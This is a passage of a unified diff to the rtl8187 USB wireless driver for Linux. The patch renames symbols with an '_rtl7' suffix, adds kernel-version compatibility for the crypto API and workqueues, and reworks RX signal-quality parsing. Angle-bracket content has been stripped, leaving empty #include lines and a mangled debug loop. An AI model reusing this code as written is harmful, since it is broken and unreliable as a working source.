if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2407,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2425,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2445,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2456,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2469,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2579,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2598,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2620,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2668,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2685,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2702,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2715,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2730,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-07-13 01:46:27.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-07-13 01:46:05.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur 